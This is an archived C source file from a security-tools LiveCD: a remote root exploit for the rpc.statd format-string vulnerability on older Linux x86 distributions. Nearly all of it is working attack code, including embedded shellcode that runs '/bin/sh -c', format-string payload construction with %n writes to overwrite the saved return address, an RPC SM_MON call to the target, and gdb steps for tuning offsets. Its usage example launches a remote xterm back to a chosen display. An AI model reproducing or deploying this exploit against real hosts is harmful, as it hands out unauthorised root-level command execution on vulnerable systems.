home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / rpc-statd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  259 lines

  1. /*
  2.  * rpc.statd remote root xploit for linux/x86
  3.  * based on the xploit made by drow for linux/PowerPC
  4.  *
  5.  * Author: Doing, 08/2000
  6.  *
  7.  * NOTE:
  8.  * The guest of the remote address of the saved EIP and local vars
  9.  * is still a problem. The value showed on the usage worked
  10.  * fine on mi suse with the compiled sources. With gdb and a little
  11.  * patience you should get the address for your distro/version.
  12.  * Some address doesn't work, because they cause a very long result,
  13.  * and the syslog() function overflows itself when parsing the
  14.  * format input :(
  15.  *
  16.  * Greetz to Pascal Bouchareine for that great paper on format bugs :)
  17.  *
  18.  * Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P
  19.  *
  20.  * Excuse my poor english :-)
  21.  *
  22.  * Affected:
  23.  *   Connectiva Linux 5.1
  24.  *   Connectiva Linux 5.0
  25.  *   Connectiva Linux 4.2
  26.  *   Connectiva Linux 4.1
  27.  *   Connectiva Linux 4.0es
  28.  *   Connectiva Linux 4.0
  29.  *   Debian Linux 2.3
  30.  *   Debian Linux 2.2
  31.  *   RedHat Linux 6.2 i386
  32.  *   RedHat Linux 6.1 i386
  33.  *   RedHat Linux 6.0 i386
  34.  *   Trustix Secure Linux 1.1
  35.  *   Trustix Secure Linux 1.0
  36.  *
  37.  * To compile the xploit you need the librpcsvc library:
  38.  * 
  39.  * gcc statd.c -o statd -lrpcsvc
  40.  * 
  41.  * Way of finding offsets for your distro/version:
  42.  * 
  43.  * Launch statd and attach it with gdb:
  44.  * 
  45.  * [root@localhost statd]# ./statd
  46.  * [root@localhost statd]# ps aux | grep st
  47.  * root 394 0.0 0.9 1184 576 ? S 15:27 0:00 ./statd
  48.  * [root@localhost statd]# gdb ./statd
  49.  * GNU gdb 4.18
  50.  * [ cut cut cut cut ]
  51.  * (gdb) attach 394
  52.  * Attaching to program:
  53.  * /zecreto/doing/xploits/daemon/rpc.statd/knfsd-1.3.2/utils/statd/./statd,
  54.  * process 394
  55.  * 
  56.  * [ Now put a breakpoint on the function log() ]
  57.  * (gdb) break log
  58.  * Breakpoint 1 at 0x804a10a: file log.c, line 82.
  59.  * (gdb) c
  60.  * Continuing.
  61.  * 
  62.  * [ At this point run the xploit ]
  63.  * Breakpoint 1, log (level=2, fmt=0x804c820 "SM_MON request for hostname
  64.  * containing '/': %s") at log.c:82
  65.  * 82 va_start(ap, fmt);
  66.  * 
  67.  * [ And put another breakpoint in the function syslog() ]
  68.  * (gdb) break syslog
  69.  * Breakpoint 2 at 0x400d12e6: file syslog.c, line 102.
  70.  * (gdb) c
  71.  * Continuing.
  72.  * 
  73.  * Breakpoint 2, syslog (pri=2,
  74.  * fmt=0xbfffef38 "SM_MON request for hostname containing '/':
  75.  * [garbage]..)
  76.  * ^^^^^^^^^
  77.  * This is the address of the buffer in function log. If you run
  78.  * the xploit
  79.  * with this value it should work.
  80.  * 
  81.  * Doing
  82.  * 
  83.  *
  84.  */
  85.  
  86. #include <sys/types.h>
  87. #include <sys/time.h>
  88. #include <stdio.h>
  89. #include <string.h>
  90. #include <netdb.h>
  91. #include <rpc/rpc.h>
  92. #include <rpcsvc/sm_inter.h>
  93. #include <sys/socket.h>
  94.  
  95. void usage(char *s) {
  96.   printf("rpc.statd xploit for linux/x86 - Doing <jdoing@bigfoot.com>\n");
  97.   printf("Usage: %s host address command\n", s);
  98.   printf("host\t: the targe host\n");
  99.   printf("address\t: the address of the buffer in function log()\n");
  100.   printf("command\t: command to run remotely\n\n");
  101.   printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm -ut -display 127.0.0.1:0\"\n\n", s);
  102.   printf("Enjoy!\n");
  103.   exit(0);
  104. }
  105.  
  106. /*
  107.    shellcode without cr/lf and control caracters
  108. */
  109. char *code =
  110. "\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
  111. "\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
  112. "\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
  113. "\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
  114. "\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
  115. "\xff\xff/bin/sh -c ";
  116.  
  117. char shellcode[4096];
  118.  
  119. void make_shellcode(char *cdir, char *cmd)
  120. {
  121.   unsigned long dir, ret;
  122.   int c, eat = 14;
  123.   int first_n = 0xc9;
  124.   char tmp[1024];
  125.   int i, i0, i1, i2;
  126.   char *ptr = shellcode;
  127.  
  128.   memset(shellcode, 0, 4096);
  129.  
  130.   sscanf(cdir, "%x", &dir);
  131.  
  132.   ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */
  133.  
  134.   dir += 1028;  /*  dir = address of saved EIP = address of buffer +
  135. 1024 bytes of buffer + 4 bytes of SFP */
  136.  
  137.   ptr = &shellcode[strlen(shellcode)];
  138.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  139.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  140.   ptr = &shellcode[strlen(shellcode)];
  141.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  142.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  143.   ptr = &shellcode[strlen(shellcode)];
  144.   dir++;
  145.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  146.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  147.   ptr = &shellcode[strlen(shellcode)];
  148.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  149.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  150.   ptr = &shellcode[strlen(shellcode)];
  151.   dir++;
  152.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  153.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  154.   ptr = &shellcode[strlen(shellcode)];
  155.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  156.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  157.   ptr = &shellcode[strlen(shellcode)];
  158.   dir++;
  159.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  160.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  161.   ptr = &shellcode[strlen(shellcode)];
  162.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  163.          (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  164.   ptr = &shellcode[strlen(shellcode)];
  165.  
  166.   for ( c = 0; c < eat; c++) {
  167.     sprintf(ptr, "%%x ");
  168.     ptr = &shellcode[strlen(shellcode)];
  169.   }
  170.  
  171.   i0 = (ret & 0xff);
  172.   if (i0 > first_n)  sprintf(ptr, "%%0%ix%%n", i0 - first_n);
  173.   if (i0 == first_n) sprintf(ptr, "%%n");
  174.   if (i0 < first_n)  {
  175.     i0 |= 0x0100;
  176.     sprintf(ptr, "%%0%ix%%n", i0 - first_n);
  177.   }
  178.   ptr = &shellcode[strlen(shellcode)];
  179.  
  180.  
  181.   i = (ret & 0xff00) >> 8;
  182.   if (i > i0)  sprintf(ptr, "%%0%ix%%n", i - i0);
  183.   if (i == i0) sprintf(ptr, "%%n");
  184.   if (i < i0) {
  185.     i |= 0x0100;
  186.     sprintf(ptr, "%%0%ix%%n", i - i0);
  187.   }
  188.   ptr = &shellcode[strlen(shellcode)];
  189.  
  190.  
  191.   i1 = (ret & 0xff0000) >> 16;
  192.   if (i1 > i)  sprintf(ptr, "%%0%ix%%n", i1 - i);
  193.   if (i1 == i) sprintf(ptr, "%%n");
  194.   if (i1 < i) {
  195.     i1 |= 0x0100;
  196.     sprintf(ptr, "%%0%ix%%n", i1 - i);
  197.   }
  198.   ptr = &shellcode[strlen(shellcode)];
  199.  
  200.  
  201.   i2 = (ret & 0xff000000) >> 24;
  202.   i2 |= 0x0200;
  203.   sprintf(ptr, "%%0%ix%%n", i2 - i1);
  204.   ptr = &shellcode[strlen(shellcode)];
  205.  
  206.  
  207.   for (c = 0; c < 50; c++) {
  208.     sprintf(ptr, "\x90");
  209.     ptr = &shellcode[strlen(shellcode)];
  210.   }
  211.   sprintf(ptr, "%s%s\x00", code, cmd);
  212. }
  213.  
  214. main(int argc, char *argv[]) {
  215.   CLIENT *cl;
  216.   enum clnt_stat stat;
  217.   struct timeval tm;
  218.   struct mon monreq;
  219.   struct sm_stat_res monres;
  220.   struct hostent *hp;
  221.   struct sockaddr_in target;
  222.   int sd, i;
  223.  
  224.   if (argc < 4)
  225.     usage(argv[0]);
  226.  
  227.   make_shellcode(argv[2], argv[3]);
  228.  
  229.   memset(&monreq, 0, sizeof(monreq));
  230.   monreq.mon_id.my_id.my_name ="localhost";
  231.   monreq.mon_id.my_id.my_prog = 0;
  232.   monreq.mon_id.my_id.my_vers = 0;
  233.   monreq.mon_id.my_id.my_proc = 0;
  234.   monreq.mon_id.mon_name = shellcode;
  235.  
  236.   if ((hp=gethostbyname(argv[1])) == NULL) {
  237.     printf("Can't resolve %s\n", argv[1]);
  238.     exit(0);
  239.   }
  240.   target.sin_family=AF_INET;
  241.   target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  242.   target.sin_port=0;    /* ask portmap */
  243.   sd = RPC_ANYSOCK;
  244.  
  245.   tm.tv_sec=10;
  246.   tm.tv_usec=0;
  247.   if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
  248.     clnt_pcreateerror("clnt_create");
  249.     exit(0);
  250.   }
  251.   stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
  252.                 (char *)&monres, tm);
  253.   if (stat != RPC_SUCCESS)
  254.     clnt_perror(cl, "clnt_call");
  255.   else
  256.     printf("stat_res = %d.\n", monres.res_stat);
  257.   clnt_destroy(cl);
  258. }
  259. /*                    www.hack.co.za           [2 August 2000]*/